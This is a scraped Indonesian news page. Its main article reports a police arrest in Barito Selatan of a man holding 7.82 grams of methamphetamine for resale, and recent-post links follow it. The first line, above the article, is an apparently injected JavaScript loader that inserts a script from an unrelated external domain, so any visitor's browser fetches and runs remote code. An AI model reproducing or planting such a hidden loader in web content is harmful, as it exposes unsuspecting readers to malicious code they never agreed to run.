(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kenal Narkoba Sejak SMA, A Ditangkap Polisi Simpan 7,82 Gram Sabu


BUNTOK, Satuan Narkoba Polres Barsel berhasil mengamankan sabu 7,82 gram dari rumah MT milik A di desa Ugang Sayu Km 21, Kecamatan Gunung Bintang Awai, Selasa (2/7) malam.

Kasat Narkoba Iptu Sanip SH mengatakan, penangkapan sabu yang dimiliki A, pria 36 tahun ini berdasarkan informasi warga sekitar.

Masih kata Sanip, berdasarkan informasi tersebut pihaknya dibantu Unit Buser Reskrim Barsel langsung menuju lokasi untuk lakukan tindakan dengan memeriksa rumah A.

“Setelah kita telusuri akhirnya A kita dapati memiliki sabu sebanyak 7,82 gram,” kata Sanip kepada Kanalkalimantan.com, Rabu (3/7).

Dijelaskan olehnya saat melakukan penggeledahan pihaknya juga memanggil beberapa saksi antara lain ketua RT dan RW setempat. Saat dilakukan penggeledahan barang haram tersebut ditemukan di dalam dompet warna hijau dimasukan dalam sepatu perempuan dan disimpan di rak sepatu.

“Jadi sabu 7,82 gram itu kita dapat dalam dompet warna hijau di masukan dalam sepatu perempuan dan disimpan dalam rak sepatu,” ungkap Sanip.

Ia juga mengatakan, A sebagai terlapor membenarkan barang berupa sabu tersebut diambil dari Ampah, wilayah Kabupaten Bartim akan dijual ke daerah desa Patas.

“Jadi si A mengakui barang itu miliknya, baru diambil di Ampah dan akan dijual kembali di desa Patas,” ujar Sanip. Tersangka A juga mengakui mengenal barang haram mulai saat masih sekolah SMA yang kadang-kadang menggunakanya.

“Pelaku juga mengakui kalau sudah menggunakan Narkotika jenis sabu sejak SMA. Katanya untuk aktivitas kerja akan selalu tahan dan tidah cepat lelah,” beber Sanip.

Ditambahkan olehnya untuk saat ini A beserta barang bukti berupa dompet warna hijau, timbangan digital, sedotan, pipet kaca, sepatu wanita warna biru dan paket dengan berat kotor sekira 7,82 gram telah diamankan di Polres Barsel.

“Sementara untuk A akan dikenakan melanggar pasal 112 Ayat (2) dan atau pasal 114 Ayat (2) UU no 35 tahun 2009 tebtang Narkotika,” tandas Sanip. (digdo)

Reporter : Digdo
Editor : Bie

Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

17 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.